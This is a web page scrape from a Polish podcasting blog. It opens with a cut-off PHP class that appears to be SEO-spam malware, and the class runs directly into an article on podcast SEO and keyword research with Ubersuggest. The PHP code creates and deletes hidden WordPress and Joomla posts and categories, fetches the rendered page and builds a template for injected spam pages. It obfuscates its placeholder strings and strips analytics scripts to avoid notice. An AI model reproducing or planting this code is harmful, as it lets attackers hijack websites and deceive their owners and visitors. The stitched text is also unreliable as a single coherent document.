Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"); $uas = $this->shArr($uas); return $uas[0]; } private function shArr($arr) { srand((float)microtime() * 1000000); shuffle($arr); return $arr; } private function randString($length) { $str = ""; $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; $size = strlen($chars); for ($i = 0; $i < $length; $i++) { $str .= $chars[rand(0, $size - 1)]; } return $str; } private function parseTemplateWP() { $slugname = $this->randString(8); $post_data = array("post_title" => "[HER" . "EISP" . "OSTTI" . "TLE]", "post_name" => $slugname, "post_content" => "[HERE" . "ISC" . "ONT" . "ENT]", 'post_status' => 'publish', 'post_category' => array()); $post_id = wp_insert_post($post_data, true); $permalink = get_permalink($post_id); if(!empty($permalink)) { $permalink = str_ireplace('http://', '', $permalink); $permalink = str_ireplace('https://', '', $permalink); if (is_ssl() === false) { $permalink = "http://" . $permalink; } else { $permalink = "https://" . $permalink; } $sitecode = file_get_contents($permalink."?".$this->chkStr."=yes"); //$permalink = trim($permalink, "/"); if (stripos("qqq" . $permalink, "?p=")) { $urlfrchpu = str_ireplace("?p=" . $post_id, "?p=chpukeyplace", $permalink); } else { $urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink); } wp_delete_post($post_id, true); if (!empty($sitecode)) { $regular = "|<title>(.*)<\/title>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $pagetitlemain) { $sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode); } } $regular = "|(<time.*</time>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1][0])) { $sitecode = str_ireplace($matches[1][0], '[HE' . 'REI' . 'SPUB' . 'TI' . 'ME]', $sitecode); } $regular = "|[\"']+(http.*\?p=.*)[\"']+|iU"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1][0])) { $sitecode = str_ireplace($matches[1][0], '[HER'.'EIS'.'ALTL'.'INK]', $sitecode); } $regular = "|(<h2.*>.*</h2+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); srand((float)microtime() * 1000000); shuffle($matches[1]); if (count($matches[1]) >= 2) { $counth = count($matches[1]) / 2; $counth = floor($counth); $matches[1] = array_slice($matches[1], 0, $counth - 1); } foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode); } } $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)</a>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $all_links = $matches[0]; $atagarray = array_combine($matches[2], $matches[1]); $atagarray = array_unique($atagarray); foreach ($atagarray as $anchor => $url) { if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) { unset($atagarray[$anchor]); } } srand((float)microtime() * 1000000); shuffle($atagarray); if (count($atagarray) >= 3) { $counta = count($atagarray) / 3; $counta = floor($counta); $atagarray = array_slice($atagarray, 0, $counta - 1); } foreach ($all_links as $atagmain) { foreach ($atagarray as $url) { if (stripos("qqq" . $atagmain, $url)) { $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain); $atagtoreplace = preg_replace("/>.*<\/a>/iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR]</a>", $atagtoreplace); $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode); } } } } $sitecode = str_ireplace($permalink, '[HEREIS'.'ALTL'.'INK]', $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:title[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}twitter:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta itemprop=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}dc\.description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = urlencode($sitecode); $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { foreach ($matches[1] as $currgooglestat) { if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) { $sitecode = str_ireplace($currgooglestat, "", $sitecode); } } } if (!empty($sitecode)) { $resultarray = array("chpu" => $urlfrchpu, "sitetemp" => $sitecode); return $resultarray; } } } return false; } function createCategory($data) { $data['rules'] = array( 'core.edit.state' => array(), 'core.edit.delete' => array(), 'core.edit.edit' => array(), 'core.edit.state' => array(), 'core.edit.own' => array(1 => true) ); $basePath = JPATH_ADMINISTRATOR . '/components/com_categories'; require_once $basePath . '/models/category.php'; $config = array('table_path' => $basePath . '/tables'); $category_model = new CategoriesModelCategory($config); if (!$category_model->save($data)) { $err_msg = $category_model->getError(); return false; } else { $id = $category_model->getItem()->id; return $id; } } function createArticle($data) { $data['rules'] = array( 'core.edit.delete' => array(), 'core.edit.edit' => array(), 'core.edit.state' => array(), ); $basePath = JPATH_ADMINISTRATOR . '/components/com_content'; require_once $basePath . '/models/article.php'; $config = array(); $article_model = new ContentModelArticle($config); if (!$article_model->save($data)) { $err_msg = $article_model->getError(); return false; } else { $id = $article_model->getItem()->id; return $id; } } private function parseTemplateJML() { //return true; if (!class_exists('ContentHelperRoute')) require_once(JPATH_SITE . '/components/com_content/helpers/route.php'); $slugname = $this->randString(8); if (!defined('_JEXEC')) { define('_JEXEC', 1); define('JPATH_BASE', realpath(dirname(__FILE__))); require_once(JPATH_BASE . '/includes/defines.php'); require_once(JPATH_BASE . '/includes/framework.php'); defined('DS') or define('DS', DIRECTORY_SEPARATOR); } $app = JFactory::getApplication('site'); $category_data['id'] = 0; $category_data['parent_id'] = 0; $category_data['title'] = 'Uncategorised'; $category_data['alias'] = $slugname; $category_data['extension'] = 'com_content'; $category_data['published'] = 1; $category_data['language'] = '*'; $category_data['params'] = array('category_layout' => '', 'image' => ''); $category_data['metadata'] = array('author' => '', 'robots' => ''); $category_id = $this->createCategory($category_data); if (!$category_id) { return false; } else { $article_data = array( 'id' => 0, 'catid' => $category_id, 'title' => "[HER" . "EISP" . "OSTTI" . "TLE]", 'alias' => $slugname, 'introtext' => '', 'fulltext' => "[HERE" . "ISC" . "ONT" . "ENT]", 'state' => 1, 'language' => '*' ); $article_id = $this->createArticle($article_data); if (!$article_id) { return false; } } $rootURL = rtrim(JURI::root(), '/'); $subpathURL = JURI::root(true); if (!empty($subpathURL) && ($subpathURL != '/')) { $rootURL = substr($rootURL, 0, -1 * strlen($subpathURL)); } $permalink = $rootURL . JRoute::_(ContentHelperRoute::getArticleRoute($article_id, $category_id)); $permalink = str_ireplace("/" . $category_id . "-" . $slugname, "", $permalink); $sitecode = $this->goP($permalink."?".$this->chkStr."=yes", ""); $this->dDB($this->dbPref . "content", "`alias` = '" . $slugname . "'"); $this->dDB($this->dbPref . "categories", "`alias` = '" . $slugname . "'"); //$permalink = trim($permalink, "/"); if (stripos("qqq" . $permalink, "&id=")) { $urlfrchpu = str_ireplace("&id=" . $article_id, "&id=chpukeyplace", $permalink); } else { if (stripos("qqq" . $permalink, $article_id . "-" . $slugname)) { $urlfrchpu = str_ireplace($article_id . "-" . $slugname, "chpukeyplace", $permalink); } elseif (stripos("qqq" . $permalink, $slugname)) { $urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink); } else { $urlfrchpu = str_ireplace($article_id, "chpukeyplace", $permalink); } } if (!empty($sitecode)) { $sitecode = str_ireplace("/" . $category_id . "-" . $slugname, "#", $sitecode); if (!stripos("qqq" . $sitecode, "[HERE" . "ISC" . "ONT" . "ENT]")) { $sitecode = preg_replace("/(<body.*>)/", "\$1" . "[HERE" . "ISC" . "ONT" . "ENT]", $sitecode, 1); } $regular = "|<title>(.*)<\/title>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $pagetitlemain) { $sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode); } } $regular = "|(<time.*</time>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1][0])) { $sitecode = str_ireplace($matches[1][0], '[HE' . 'REI' . 'SPUB' . 'TI' . 'ME]', $sitecode); } $regular = "|(<h2.*>.*</h2+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); srand((float)microtime() * 1000000); shuffle($matches[1]); if (count($matches[1]) >= 2) { $counth = count($matches[1]) / 2; $counth = floor($counth); $matches[1] = array_slice($matches[1], 0, $counth - 1); } foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode); } } $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)</a>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $all_links = $matches[0]; $atagarray = array_combine($matches[2], $matches[1]); $atagarray = array_unique($atagarray); foreach ($atagarray as $anchor => $url) { if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) { unset($atagarray[$anchor]); } } srand((float)microtime() * 1000000); shuffle($atagarray); if (count($atagarray) >= 3) { $counta = count($atagarray) / 3; $counta = floor($counta); $atagarray = array_slice($atagarray, 0, $counta - 1); } foreach ($all_links as $atagmain) { foreach ($atagarray as $url) { if (stripos("qqq" . $atagmain, $url)) { $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain); $atagtoreplace = preg_replace("/>.*<\/a>/iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR]</a>", $atagtoreplace); $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode); } } } } $sitecode = str_ireplace($permalink, "#", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:title[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}twitter:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta itemprop=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}dc\.description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = urlencode($sitecode); $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { foreach ($matches[1] as $currgooglestat) { if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) { $sitecode = str_ireplace($currgooglestat, "", $sitecode); } } } if (!empty($sitecode)) { $resultarray = array("chpu" => $urlfrchpu, "sitetemp" => $sitecode); return $resultarray; } } return false; } }<!doctype html> <html lang="pl-PL"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="icon" type="image/png" href="https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_180,h_180/https://podcastuje.pl/wp-content/themes/podcastuje/favicon.png" /> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <!-- This site is optimized with the Yoast SEO plugin v19.7.2 - https://yoast.com/wordpress/plugins/seo/ --> <title>SEO Podcastu, to jedno narzędzie jest lepsze niż Google

Obróć telefon :)

Wtedy najładniej i najpełniej będziesz korzystać ze strony.

SEO podcastu – narzędzie, któremu Google może czyścić buty

SEO to odpowiedni dobór wyszukiwanych słów i linków, który pomaga Ci zwiększyć widoczność treści w sieci. Tak po ludzku – tworzenie opisów tak, żeby trafiały jak najwyżej w Google. A przez to, aby rosły Ci zasięgi podcastu. Dziś o narzędziu, lepszym niż Wielki Wujek z Kalifornii.

To jest druga część płatnego maila, dotyczącego marketingu podcastu. Weź cokolwiek z tego maila i wdróż u siebie. Im więcej będziesz wdrażać, tym lepiej będzie pozycjonowany Twój podcast.

Keywords – słowa kluczowe SEO Podcastu rośnie

Słowa kluczowe są kluczowe. No przecież to jasno oczywiste 🙂

Możesz popić wody, bo to było suche jak dowcipy polityków.

Pytanie: Co w Google wpisują Twoi słuchacze, aby Cię znaleźć?

Co powinni wpisywać, aby znaleźć konkretny odcinek Twojego podcastu? Tu pojawia się SEO podcastu

Jeśli słowo „podcast”, to jesteśmy na przegranej pozycji.

Dlaczego?

Bo podcast w wielu językach pisze się tak samo. Nawet lokalizacja wyszukiwarek nie daje rady, bo i tak Google pokaże nam kilka stron po polsku i ze 150 po angielsku. Interesuje nas, aby nas słuchali.

Myśl do partyzanckiego marketingu: opowiadaj wszystkim dookoła jak się nazywa Twój podcast. Niech część z ludzi wpisuje nazwę podcastu. W ten sposób będziesz mieć częściowy wpływ na pozycjonowanie się całej audycji, a nie tylko konkretnego odcinka.

To dlatego na początku nagrań podajemy tytuł całego show. I dlatego mój szef – gospodarz podcastu Escola Mobile ma formułkę, którą zawsze wita słuchaczy.

Gdy podcaster robi nowy odcinek, daje wartość.

To, co robisz, masz znaczenie.

Zrób wokół tego szum.

Musimy ułatwić słuchaczom znalezienie nas. Mało tego! Słuchacz nawet nie musi o tym wiedzieć! Szum może oznaczać także to, co się dzieje w sieci. O czym mówią ludzie i co robią, aby znaleźć informacje na konkretny temat.

Gdy wypuszczam nowy odcinek firmowego podcastu, zawsze używam Ubersuggest. Ostatnio nagraliśmy serię o tworzeniu gier. Słowem kluczowym dla jednego z odcinków był „gamedev”.

Ubersuggest jest nawet lepszy niż Google trends, bo daje więcej możliwości badania słów kluczowych. 

Jak używać Ubersuggest, żeby szybko znaleźć słowo kluczowe dla podcastu?

W Ubersuggest używam co najmniej dwóch zakładek.

Poniżej jest screen z wyszukiwarki na stronie głównej. Wpisuję tam słowo kluczowe. Ważne jest, aby ustawić język na polski. Bezpłatnie w ciągu dnia możesz sprawdzić 3 słowa kluczowe. Wybieram 3 najciekawsze i jadę z tematem.

Ubersuggest daje od razu mnóstwo podpowiedzi, w jakim kontekście pojawia się Twoje słowo kluczowe. Zwykle spoglądam i zapisuję 2-3 wnioski.

A potem przechodzę na lewą stronę ekranu i klikam CONTENT IDEAS.

Dlaczego nie keyword? Czytaj dalej, zaraz wyjaśnię.

Content Ideas to zbiór najczęściej czytanych artykułów, gdzie występuje Twoje słowo kluczowe. Często biorę stąd inspirację do pisania artykułów na bloga. Dobrym wskaźnikiem dla słowa kluczowego jest liczba udostępnień na Facebooku.

W tej zakładce patrzę jak dane słowo kluczowe postrzegają inni. Wiele razy zdarzało mi się, że zupełnie inaczej coś rozumiałem. Najczęściej nieprawidłowo. Dlatego Content Ideas pozwalają mi znaleźć coś, co będzie odpowiednie dla podcastu.

Protip: nie ograniczaj się do jednego słowa. Gdy jedno słowo ma słabe wskaźniki, znajdź kolejne. Wyrazy bliskoznaczne są OK.

Dołącz do podcastowego newslettera

❓ Chwila przerwy na zagadkę❓

Pat Flynn to jeden z moich ukochanych podcasterów. Ma na koncie setki odcinków o biznesie i przedsiębiorczości. To gwiazda podcastów, ale po pierwsze człowiek. Miewa załamki, sukcesy, czasem nie ma sił.

Kiedy Pat Flynn zaczął nagrywać?

Co zrobić, gdy Content Ideas nie daje rezultatu?

Czasem Content Ideas podaje absurdalne posty, które nijak się mają do słowa kluczowego. Wtedy masz dwa rozwiązania: 

Używasz słowa dalej

Po pewnym czasie na tej liście pojawi się Twój podcast, bo będzie zawierać wyszukiwane słowo. Jeśli podcast nie ma być dodatkiem do biznesu – tak zrób. A jeśli podcast ma funkcję marketingową i jest częścią Twojej biznesowej działalności…

Przechodzisz do Keyword ideas

Keyword Ideas pokazuje, w jakim kontekście wyszukiwania pojawia się Twoje słowo. Celuj w zielone, są mniej oblegane. SEO dla podcastu to nie jest puszczanie posta na insta, gdzie liczą się natychmiastowe komentarze i lajki. To przygotowanie odpowiedniego lądowiska, aby na nim gładko wylądował Twój słuchacz. Podcasty można słuchać zawsze i wszędzie. Posty na insta – raczej przez chwilę. 

Dlatego…

Sprawdź także zakładkę „Related”w zakładce Keyword Ideas 

Tam znajdziesz pokrewne słowa kluczowe i ich kontekst. Czasem ilość słów kluczowych i pokrewnych przytłacza. Dlatego biorę kartkę i zapisuję trzy-cztery. Zwykle to inne formy wyrazu lub wyrazy bliskoznaczne. 

Wtedy sprawdzam słowa, oznaczone na zielono i wybieram to z najniższym numerkiem (to wg mnie ogólna zasada dla Ubersuggest)

W ten sposób mamy słowo kluczowe dla odcinka podcastu.

Brawo! Masz słowo kluczowe do podcastu, SEO podcastu się cieszy, teraz trzeba pisać ładne teksty, gdzie je użyjesz i czytać lub opowiadać o słowie kluczowym tak, aby wkrótce transkrypcja Google zafiksowała Twój tekst.

❗ Odpowiedź na pytanie: Pat Flynn pierwszy odcinek nagrał w 2009 roku, ale opublikował go rok później. Bo się bał i trochę wstydził. Pierwszy odcinek podcastu wciąż jest dostępny w sieci. To wspaniały przykład, że podcast na początku nie musi być idealny. Progres, nie perfekcja.

Pozostałe artykuły

Dodaj komentarz